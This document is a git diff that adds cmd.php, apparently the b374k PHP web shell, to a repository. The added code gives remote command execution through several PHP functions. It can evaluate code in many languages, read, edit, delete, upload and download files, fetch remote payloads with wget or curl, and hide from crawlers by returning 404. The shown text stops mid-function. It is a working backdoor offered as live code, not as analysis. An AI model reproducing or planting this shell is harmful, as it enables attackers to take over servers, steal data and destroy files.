diff --git a/cmd.php b/cmd.php new file mode 100644 index 0000000..a2f73a4 --- /dev/null +++ b/cmd.php @@ -0,0 +1,4583 @@ + + + + + + + +

+ + + "; + echo $res; + die(); + } + } + } +} + +if(!function_exists('get_server_info')){ + function get_server_info(){ + $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"]; + $server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR']; + $server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time()); + $server_info['uname'] = php_uname(); + $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." | ":''; + $server_info['software'] = $server_software." PHP ".phpversion(); + return $server_info; + } +} + +if(!function_exists('get_self')){ + function get_self(){ + $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; + return html_safe($_SERVER["REQUEST_URI"].$query); + } +} + +if(!function_exists('get_post')){ + function get_post(){ + return fix_magic_quote($_POST); + } +} + +if(!function_exists('get_nav')){ + function get_nav($path){ + return parse_dir($path); + } +} + +if(!function_exists('get_cwd')){ + function get_cwd(){ + $cwd = getcwd().DIRECTORY_SEPARATOR; + if(!isset($_COOKIE['cwd'])){ + setcookie("cwd", $cwd); + } + else{ + $cwd_c = rawurldecode($_COOKIE['cwd']); + if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; + else setcookie("cwd", $cwd); + } + return $cwd; + } +} + +if(!function_exists('wrap_with_quotes')){ + function wrap_with_quotes($str){ + return "\"".$str."\""; + } +} + +if(!function_exists('get_resource')){ + function get_resource($type){ + if(isset($GLOBALS['resources'][$type])){ + return gzinflate(base64_decode($GLOBALS['resources'][$type])); + } + return false; + } +} + +if(!function_exists('block_bot')){ + function block_bot(){ + // block search engine bot + if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); + } + elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); + } + } +} + +if(!function_exists('is_win')){ + function is_win(){ + return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + } +} + +if(!function_exists('fix_magic_quote')){ + function fix_magic_quote($arr){ + $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); + if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ + if(is_array($arr)){ + foreach($arr as $k=>$v){ + if(is_array($v)) $arr[$k] = clean($v); + else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); + } + } + } + return $arr; + } +} + +if(!function_exists('execute')){ + function execute($code){ + $output = ""; + $code = $code." 2>&1"; + + if(is_callable('system') && function_exists('system')){ + ob_start(); + @system($code); + $output = ob_get_contents(); + ob_end_clean(); + if(!empty($output)) return $output; + } + elseif(is_callable('shell_exec') && function_exists('shell_exec')){ + $output = @shell_exec($code); + if(!empty($output)) return $output; + } + elseif(is_callable('exec') && function_exists('exec')){ + @exec($code,$res); + if(!empty($res)) foreach($res as $line) $output .= $line; + if(!empty($output)) return $output; + } + elseif(is_callable('passthru') && function_exists('passthru')){ + ob_start(); + @passthru($code); + $output = ob_get_contents(); + ob_end_clean(); + if(!empty($output)) return $output; + } + elseif(is_callable('proc_open') && function_exists('proc_open')){ + $desc = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w")); + $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); + if(is_resource($proc)){ + while($res = fgets($pipes[1])){ + if(!empty($res)) $output .= $res; + } + while($res = fgets($pipes[2])){ + if(!empty($res)) $output .= $res; + } + } + @proc_close($proc); + if(!empty($output)) return $output; + } + elseif(is_callable('popen') && function_exists('popen')){ + $res = @popen($code, 'r'); + if($res){ + while(!feof($res)){ + $output .= fread($res, 2096); + } + pclose($res); + } + if(!empty($output)) return $output; + } + return ""; + } +} + +if(!function_exists('html_safe')){ + function html_safe($str){ + return htmlspecialchars($str, 2 | 1); + } +} + +if(!function_exists('parse_dir')){ + function parse_dir($path){ + $path = realpath($path).DIRECTORY_SEPARATOR; + $paths = explode(DIRECTORY_SEPARATOR, $path); + $res = ""; + for($i = 0; $i < sizeof($paths)-1; $i++){ + $x = ""; + for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; + $res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." "; + } + if(is_win()) $res = get_drives().$res; + return trim($res); + } +} + +if(!function_exists('zip')){ + function zip($files, $archive){ + $status = false; + if(!extension_loaded('zip')) return $status; + if(class_exists("ZipArchive")){ + $zip = new ZipArchive(); + if(!$zip->open($archive, 1)) return $status; + + if(!is_array($files)) $files = array($files); + foreach($files as $file){ + $file = str_replace(get_cwd(), '', $file); + $file = str_replace('\\', '/', $file); + if(is_dir($file)){ + $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); + foreach($filesIterator as $iterator){ + $iterator = str_replace('\\', '/', $iterator); + if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue; + + if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/')); + else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator)); + } + } + elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); + } + if($zip->getStatusString()!==false) $status = true; + $zip->close(); + } + return $status; + } +} + +if(!function_exists('compress')){ + function compress($type, $archive, $files){ + if(!is_array($files)) $files = array($files); + if($type=='zip'){ + if(zip($files, $archive)) return true; + else return false; + } + elseif(($type=='tar')||($type=='targz')){ + $archive = basename($archive); + + $listsBasename = array_map("basename", $files); + $lists = array_map("wrap_with_quotes", $listsBasename); + + if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists)); + elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists)); + + if(is_file($archive)) return true; + else return false; + } + return false; + } +} + +if(!function_exists('decompress')){ + function decompress($type, $archive, $path){ + $path = realpath($path).DIRECTORY_SEPARATOR; + $status = false; + if(is_dir($path)){ + chdir($path); + if($type=='unzip'){ + if(class_exists('ZipArchive')){ + $zip = new ZipArchive(); + $target = $path.basename($archive,".zip"); + if($zip->open($archive)){ + if(!is_dir($target)) mkdir($target); + if($zip->extractTo($target)) $status = true; + $zip->close(); + } + } + } + elseif($type=='untar'){ + $target = basename($archive,".tar"); + if(!is_dir($target)) mkdir($target); + $before = count(get_all_files($target)); + execute("tar xf \"".basename($archive)."\" -C \"".$target."\""); + $after = count(get_all_files($target)); + if($before!=$after) $status = true; + + } + elseif($type=='untargz'){ + $target = ""; + if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); + elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); + + if(!is_dir($target)) mkdir($target); + $before = count(get_all_files($target)); + execute("tar xzf \"".basename($archive)."\" -C \"".$target."\""); + $after = count(get_all_files($target)); + if($before!=$after) $status = true; + } + } + return $status; + } +} + +if(!function_exists('download')){ + function download($url ,$saveas){ + if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false; + $filename = basename($url); + + if($content = read_file($url)){ + if(is_file($saveas)) unlink($saveas); + if(write_file($saveas, $content)){ + return true; + } + } + + $buff = execute("wget ".$url." -O ".$saveas); + if(is_file($saveas)) return true; + + $buff = execute("curl ".$url." -o ".$saveas); + if(is_file($saveas)) return true; + + $buff = execute("lwp-download ".$url." ".$saveas); + if(is_file($saveas)) return true; + + $buff = execute("lynx -source ".$url." > ".$saveas); + if(is_file($saveas)) return true; + + return false; + } +} + +if(!function_exists('get_fileperms')){ + function get_fileperms($file){ + if($perms = @fileperms($file)){ + $flag = 'u'; + if(($perms & 0xC000) == 0xC000)$flag = 's'; + elseif(($perms & 0xA000) == 0xA000)$flag = 'l'; + elseif(($perms & 0x8000) == 0x8000)$flag = '-'; + elseif(($perms & 0x6000) == 0x6000)$flag = 'b'; + elseif(($perms & 0x4000) == 0x4000)$flag = 'd'; + elseif(($perms & 0x2000) == 0x2000)$flag = 'c'; + elseif(($perms & 0x1000) == 0x1000)$flag = 'p'; + $flag .= ($perms & 00400)? 'r':'-'; + $flag .= ($perms & 00200)? 'w':'-'; + $flag .= ($perms & 00100)? 'x':'-'; + $flag .= ($perms & 00040)? 'r':'-'; + $flag .= ($perms & 00020)? 'w':'-'; + $flag .= ($perms & 00010)? 'x':'-'; + $flag .= ($perms & 00004)? 'r':'-'; + $flag .= ($perms & 00002)? 'w':'-'; + $flag .= ($perms & 00001)? 'x':'-'; + return $flag; + } + else return "???????????"; + } +} + +if(!function_exists('format_bit')){ + function format_bit($size){ + $base = log($size) / log(1024); + $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); + return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; + } +} + +if(!function_exists('get_filesize')){ + function get_filesize($file){ + $size = @filesize($file); + if($size!==false){ + if($size<=0) return 0; + return format_bit($size); + } + else return "???"; + } +} + +if(!function_exists('get_filemtime')){ + function get_filemtime($file){ + return @date("d-M-Y H:i:s", filemtime($file)); + } +} + +if(!function_exists('get_fileowner')){ + function get_fileowner($file){ + $owner = "?:?"; + if(function_exists("posix_getpwuid")){ + $name = posix_getpwuid(fileowner($file)); + $group = posix_getgrgid(filegroup($file)); + $owner = $name['name'].":".$group['name']; + } + return $owner; + } +} + +if(!function_exists('rmdirs')){ + function rmdirs($dir, $counter = 0){ + if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; + if($dh = opendir($dir)){ + while(($f = readdir($dh))!==false){ + if(($f!='.')&&($f!='..')){ + $f = $dir.$f; + if(@is_dir($f)) $counter += rmdirs($f); + else{ + if(unlink($f)) $counter++; + } + } + } + closedir($dh); + if(rmdir($dir)) $counter++;; + } + return $counter; + } +} + +if(!function_exists('copys')){ + function copys($source , $target ,$c=0){ + $source = realpath($source).DIRECTORY_SEPARATOR; + if($dh = opendir($source)){ + if(!is_dir($target)) mkdir($target); + $target = realpath($target).DIRECTORY_SEPARATOR; + + while(($f = readdir($dh))!==false){ + if(($f!='.')&&($f!='..')){ + if(is_dir($source.$f)){ + copys($source.$f, $target.$f, $c); + } + else{ + if(copy($source.$f, $target.$f)) $c++; + } + } + } + closedir($dh); + } + return $c; + } +} + +if(!function_exists('get_all_files')){ + function get_all_files($path){ + $path = realpath($path).DIRECTORY_SEPARATOR; + $files = glob($path.'*'); + for($i = 0; $i"; + } + + $image_info = @getimagesize($file); + $mime_list = get_resource('mime'); + $mime = ""; + $file_ext_pos = strrpos($file, "."); + if($file_ext_pos!==false){ + $file_ext = trim(substr($file, $file_ext_pos),"."); + if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ + $mime = $res[1]; + } + } + if($type=="auto"){ + if(is_array($image_info)) $type = 'image'; + //elseif(strtolower(substr($file,-3,3)) == "php") $type = "code"; + elseif(!empty($mime)) $type = "multimedia"; + else $type = "raw"; + } + + $content = ""; + if($type=="code"){ + $hl_arr = array( + "hl_default"=> ini_get('highlight.default'), + "hl_keyword"=> ini_get('highlight.keyword'), + "hl_string"=> ini_get('highlight.string'), + "hl_html"=> ini_get('highlight.html'), + "hl_comment"=> ini_get('highlight.comment') + ); + + + $content = highlight_string(read_file($file),true); + foreach($hl_arr as $k=>$v){ + $content = str_replace("", "", $content); + $content = str_replace("", "", $content); + } + } + elseif($type=="image"){ + $width = (int) $image_info[0]; + $height = (int) $image_info[1]; + $image_info_h = "Image type = ( ".$image_info['mime']." )
+ Image Size = ( ".$width." x ".$height." )
"; + if($width > 800){ + $width = 800; + $imglink = "

+ [ View Full Size ]

"; + } + else $imglink = ""; + + $content = "
".$image_info_h."
".$imglink." + ".$file."
+ "; + + } + elseif($type=="multimedia"){ + $content = "
+ +

Load Multimedia File

+
"; + } + elseif($type=="edit"){ + $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; + $content = "
save
preserve modification timestamp
"; + } + elseif($type=="hex"){ + $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; + $content = "
save
preserve modification timestamp
"; + } + else $content = "
".html_safe(read_file($file))."
"; + + + + $output .= " + + + + ".$owner." + + + + + + +
Filename".html_safe($file)."
Size".get_filesize($file)." (".filesize($file).")
Permission".get_fileperms($file)."
Create time".@date("d-M-Y H:i:s",filectime($file))."
Last modified".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed".@date("d-M-Y H:i:s",fileatime($file))."
+ explorer + action + raw + code + hex + image + multimedia +
".$content."
"; + + + } + else $output = "error"; + return $output; + } +} + +if(!function_exists('get_writabledir')){ + function get_writabledir(){ + if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; + else{ + foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){ + if(!empty($_ENV[$k])){ + if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; + } + } + if(function_exists("sys_get_temp_dir")){ + $dir = sys_get_temp_dir(); + if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; + } + else{ + if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } + } + + $tempfile = tempnam(__FILE__,''); + if(file_exists($tempfile)){ + $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; + unlink($tempfile); + return $dir; + } + } + return false; + } +} + +if(!function_exists('get_drives')){ + function get_drives(){ + $drives = ""; + $v = explode("\\", get_cwd()); + $v = $v[0]; + foreach (range("A", "Z") as $letter){ + if(@is_readable($letter.":\\")){ + $drives .= "[ "; + if($letter.":" != $v) $drives .= $letter; + else{$drives .= "".$letter."";} + $drives .= " ] "; + } + } + return $drives; + } +} + +if(!function_exists('show_all_files')){ + function show_all_files($path){ + if(!is_dir($path)) return "No such directory : ".$path; + chdir($path); + $output = ""; + $allfiles = $allfolders = array(); + if($res = opendir($path)){ + while($file = readdir($res)){ + if(($file!='.')&&($file!="..")){ + if(is_dir($file)) $allfolders[] = $file; + elseif(is_file($file))$allfiles[] = $file; + } + } + } + + array_unshift($allfolders, "."); + $cur = getcwd(); + chdir(".."); + if(getcwd()!=$cur) array_unshift($allfolders, ".."); + chdir($cur); + + natcasesort($allfolders); + natcasesort($allfiles); + + $cols = array(); + if(is_win()){ + $cols = array( + "perms"=>"get_fileperms", + "modified"=>"get_filemtime" + ); + } + else{ + $cols = array( + "owner"=>"get_fileowner", + "perms"=>"get_fileperms", + "modified"=>"get_filemtime" + ); + } + + $totalFiles = count($allfiles); + $totalFolders = 0; + + $output .= ""; + $output .= ""; + + foreach($cols as $k=>$v){ + $output .= ""; + } + $output .= ""; + + foreach($allfolders as $d){ + $cboxException = ""; + if(($d==".")||($d=="..")){ + $action = "actiondot"; + $cboxException = " cBoxException"; + } + else{ + $action = "actionfolder"; + $totalFolders++; + } + $output .= " + + + "; + foreach($cols as $k=>$v){ + $sortable = ""; + if($k=='modified') $sortable = " title='".filemtime($d)."'"; + $output .= "".$v($d).""; + } + $output .= ""; + } + foreach($allfiles as $f){ + $output .= " + + + "; + foreach($cols as $k=>$v){ + $sortable = ""; + if($k=='modified') $sortable = " title='".filemtime($f)."'"; + $output .= "".$v($f).""; + } + $output .= ""; + } + $output .= ""; + + $colspan = 1 + count($cols); + $output .= " + + "; + $output .= "
namesize".$k."
[ ".html_safe($d)." ]actionDIR
".html_safe($f)."action".get_filesize($f)."
+ +
".$totalFiles." file(s), ".$totalFolders." Folder(s)
"; + return $output; + } +} + +if(!function_exists('eval_get_supported')){ + function eval_get_supported(){ + $eval_supported = array(); + + $eval_supported[] = "php"; + + $check = strtolower(execute("python -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "python"; + + $check = strtolower(execute("perl -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; + + $check = strtolower(execute("ruby -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; + + $check = strtolower(execute("node -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "node"; + else{ + $check = strtolower(execute("nodejs -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; + } + + $check = strtolower(execute("gcc --help")); + if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; + + $check = strtolower(execute("java -help")); + if(strpos($check,"usage")!==false){ + $check = strtolower(execute("javac -help")); + if(strpos($check,"usage")!==false) $eval_supported[] = "java"; + } + + return implode(",", $eval_supported); + } +} + +if(!function_exists('eval_go')){ + function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ + $res = ""; + $output = ""; + if($evalOptions!="") $evalOptions = $evalOptions." "; + if($evalArguments!="") $evalArguments = " ".$evalArguments; + + if($evalType=="php"){ + ob_start(); + eval($evalCode); + $res = ob_get_contents(); + ob_end_clean(); + return $res; + } + elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq; + $path = $filename; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $res .= "Setting permissions : 0755"; + if(chmod($path, 0755)){ + $res .= " (ok)\n"; + $cmd = $evalType." ".$evalOptions.$path.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + } + else $res .= " (failed)\n"; + + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + elseif($evalType=="gcc"){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq.".c"; + $path = $filename; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $ext = (is_win())? ".exe":".out"; + $pathres = $filename.$ext; + $evalOptions = "-o ".$pathres." ".$evalOptions; + $cmd = "gcc ".$evalOptions.$path; + $res .= "Compiling : ".$cmd; + $res .= execute($cmd); + if(is_file($pathres)){ + $res .= " (ok)\n"; + $res .= "Setting permissions : 0755"; + if(chmod($pathres, 0755)){ + $res .= " (ok)\n"; + $cmd = $pathres.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$pathres; + if(unlink($pathres)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + elseif($evalType=="java"){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + + if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){ + $classname = trim($r[1]); + $filename = $classname; + } + else{ + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq; + $evalCode = "class ".$filename." { ".$evalCode . " } "; + } + + $path = $filename.".java"; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $cmd = "javac ".$evalOptions.$path; + $res .= "Compiling : ".$cmd; + $res .= execute($cmd); + $pathres = $filename.".class"; + if(is_file($pathres)){ + $res .= " (ok)\n"; + $res .= "Setting permissions : 0755"; + if(chmod($pathres, 0755)){ + $res .= " (ok)\n"; + $cmd = "java ".$filename.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$pathres; + if(unlink($pathres)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + elseif($evalType=="executable"){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq.".exe"; + $path = $filename; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $cmd = $path.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + return false; + } +} + +if(!function_exists('output')){ + function output($str){ + $error = @ob_get_contents(); + @ob_end_clean(); + header("Content-Type: text/plain"); + header("Cache-Control: no-cache"); + header("Pragma: no-cache"); + echo $str; + die(); + } +} +block_bot(); +auth(); +chdir(get_cwd()); +$nav = get_nav(get_cwd()); +$p = array_map("rawurldecode", get_post()); +$cwd = html_safe(get_cwd()); +$GLOBALS['module'] = array(); + +$explorer_content = ""; +if(isset($p['viewEntry'])){ + $path = trim($p['viewEntry']); + if(is_file($path)){ + $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; + setcookie("cwd", $dirname); + chdir($dirname); + $nav = get_nav($dirname); + $cwd = html_safe($dirname); + $explorer_content = view_file($path, "auto"); + } + elseif(is_dir($path)){ + $path = realpath($path).DIRECTORY_SEPARATOR; + setcookie("cwd", $path); + chdir($path); + $nav = get_nav($path); + $cwd = html_safe($path); + $explorer_content = show_all_files($path); + } +} +else $explorer_content = show_all_files(get_cwd()); + +$GLOBALS['module']['explorer']['id'] = "explorer"; +$GLOBALS['module']['explorer']['title'] = "Explorer"; +$GLOBALS['module']['explorer']['js_ontabselected'] = ""; +$GLOBALS['module']['explorer']['content'] = $explorer_content; + +$GLOBALS['module']['terminal']['id'] = "terminal"; +$GLOBALS['module']['terminal']['title'] = "Terminal"; +$GLOBALS['module']['terminal']['js_ontabselected'] = " +if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();"; +$GLOBALS['module']['terminal']['content'] = "
".get_cwd().">
"; + + +$GLOBALS['module']['eval']['id'] = "eval"; +$GLOBALS['module']['eval']['title'] = "Eval"; +$GLOBALS['module']['eval']['js_ontabselected'] = " +if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();"; +$GLOBALS['module']['eval']['content'] = " + + + + + + + + + + + + + + + +

Eval

+ + +
+ + + run +
You can also press ctrl+enter to submit
+
+"; + +$res = ""; +if(isset($p['cd'])){ + $path = $p['cd']; + if(trim($path)=='') $path = dirname(__FILE__); + + $path = realpath($path); + if(is_file($path)) $path = dirname($path); + if(is_dir($path)){ + chdir($path); + $path = $path.DIRECTORY_SEPARATOR; + setcookie("cwd", $path); + $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; + if(isset($p['showfiles'])&&($p['showfiles']=='true')){ + $res .= show_all_files($path); + } + } + else $res = "error"; + output($res); +} +elseif(isset($p['viewFile']) && isset($p['viewType'])){ + $path = trim($p['viewFile']); + $type = trim($p['viewType']); + $preserveTimestamp = trim($p['preserveTimestamp']); + if(is_file($path)){ + $res = view_file($path, $type, $preserveTimestamp); + } + else $res = "error"; + output($res); +} +elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){ + $renameFile = trim($p['renameFile']); + $renameFileTo = trim($p['renameFileTo']); + if(file_exists($renameFile)){ + if(rename($renameFile, $renameFileTo)){ + $res = dirname($renameFileTo); + } + else $res = "error"; + } + else $res = "error"; + output($res); +} +elseif(isset($p['newFolder'])){ + $newFolder = trim($p['newFolder']); + if(mkdir($newFolder)){ + $res = dirname($newFolder); + } + else $res = "error"; + output($res); +} +elseif(isset($p['newFile'])){ + $newFile = trim($p['newFile']); + if(touch($newFile)){ + $res = dirname($newFile); + } + else $res = "error"; + output($res); +} +elseif(isset($p['delete'])){ + $path = trim($p['delete']); + $dirname = dirname($path); + if(is_file($path)){ + if(unlink($path)) $res = $dirname; + } + elseif(is_dir($path)){ + if(rmdirs($path)>0) $res = $dirname; + } + else $res = "error"; + if(file_exists($path)) $res = "error"; + output($res); +} +elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){ + $editFilename = trim($p['editFilename']); + $editInput = trim($p['editInput']); + $editType = trim($p['editType']); + $preserveTimestamp = trim($p['preserveTimestamp']); + $time = filemtime($editFilename); + if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput)); + if(write_file($editFilename, $editInput)){ + $res = $editFilename; + if($preserveTimestamp=='true') touch($editFilename, $time); + } + else $res = "error"; + output($res); +} +elseif(isset($p['findType'])){ + $findType = trim($p['findType']); + $findPath = trim($p['findPath']); + $findName = trim($p['findName']); + $findNameRegex = trim($p['findNameRegex']); + $findNameInsensitive = trim($p['findNameInsensitive']); + $findContent = trim($p['findContent']); + $findContentRegex = trim($p['findContentRegex']); + $findContentInsensitive = trim($p['findContentInsensitive']); + $findReadable = trim($p['findReadable']); + $findWritable = trim($p['findWritable']); + $findExecutable = trim($p['findExecutable']); + + $candidate = get_all_files($findPath); + if($findType=='file') $candidate = array_filter($candidate, "is_file"); + elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir"); + else $res = "error"; + + foreach($candidate as $k){ + if(($findType=="file")||($findType=="folder")){ + if(!empty($findName)){ + if($findNameRegex=="true"){ + $case = ($findNameInsensitive=="true")? "i":""; + if(!preg_match("/".$findName."/".$case, basename($k))){ + $candidate = array_diff($candidate, array($k)); + } + } + else{ + $check = false; + if($findNameInsensitive=="true"){ + $check = strpos(strtolower(basename($k)), strtolower($findName))===false; + } + else{ + $check = strpos(basename($k), $findName)===false; + } + + if($check){ + $candidate = array_diff($candidate, array($k)); + } + } + } + } + if($findType=="file"){ + if(!empty($findContent)){ + $content = read_file($k); + if($findContentRegex=="true"){ + $case = ($findContentInsensitive=="true")? "i":""; + if(!preg_match("/".$findContent."/".$case, $content)){ + $candidate = array_diff($candidate, array($k)); + } + } + else{ + $check = false; + if($findContentInsensitive=="true"){ + $check = strpos(strtolower($content), strtolower($findContent))===false; + } + else{ + $check = strpos($content, $findContent)===false; + } + if($check){ + $candidate = array_diff($candidate, array($k)); + } + } + } + } + } + + foreach($candidate as $k){ + if($findReadable=="true"){ + if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); + } + if($findWritable=="true"){ + if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); + } + if($findExecutable=="true"){ + if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); + } + } + + if(count($candidate)>0){ + $res = ""; + foreach($candidate as $k){ + $res .= "

> ".html_safe($k)."

"; + } + } + else $res = ""; + output($res); +} +elseif(isset($p['ulType'])){ + $ulSaveTo = trim($p['ulSaveTo']); + $ulFilename = trim($p['ulFilename']); + + if($p['ulType']=='comp'){ + $ulFile = $_FILES['ulFile']; + if(empty($ulFilename)) $ulFilename = $ulFile['name']; + + if(is_uploaded_file($ulFile['tmp_name'])){ + if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); + $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; + if(move_uploaded_file($ulFile['tmp_name'], $newfile)){ + $res = "> ".html_safe($newfile)." ( 100% )"; + } + else $res = "error"; + } + else $res = "error"; + } + elseif($p['ulType']=='url'){ + $ulFile = trim($p['ulFile']); + if(empty($ulFilename)) $ulFilename = basename($ulFile); + if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); + $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; + + if(download($ulFile, $newfile)){ + $res = "> ".html_safe($newfile)." ( 100% )"; + } + else $res = "error"; + } + else $res = "error"; + output($res); +} +elseif(isset($p['download'])){ + $file = trim($p['download']); + if(is_file($file)){ + header("Content-Type: application/octet-stream"); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".filesize($file)); + header("Cache-Control: no-cache"); + header("Pragma: no-cache"); + header("Content-disposition: attachment; filename=\"".basename($file)."\";"); + $handler = fopen($file,"rb"); + while(!feof($handler)){ + print(fread($handler, 1024*8)); + @ob_flush(); + @flush(); + } + fclose($handler); + die(); + } +} +elseif(isset($p['multimedia'])){ + $file = trim($p['multimedia']); + $mime_list = get_resource('mime'); + $mime = ""; + $file_ext_pos = strrpos($file, "."); + if($file_ext_pos!==false){ + $file_ext = trim(substr($file, $file_ext_pos),"."); + if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ + $mime = $res[1]; + } + } + + if(is_file($file)){ + header("Content-Type: ".$mime); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".filesize($file)); + echo 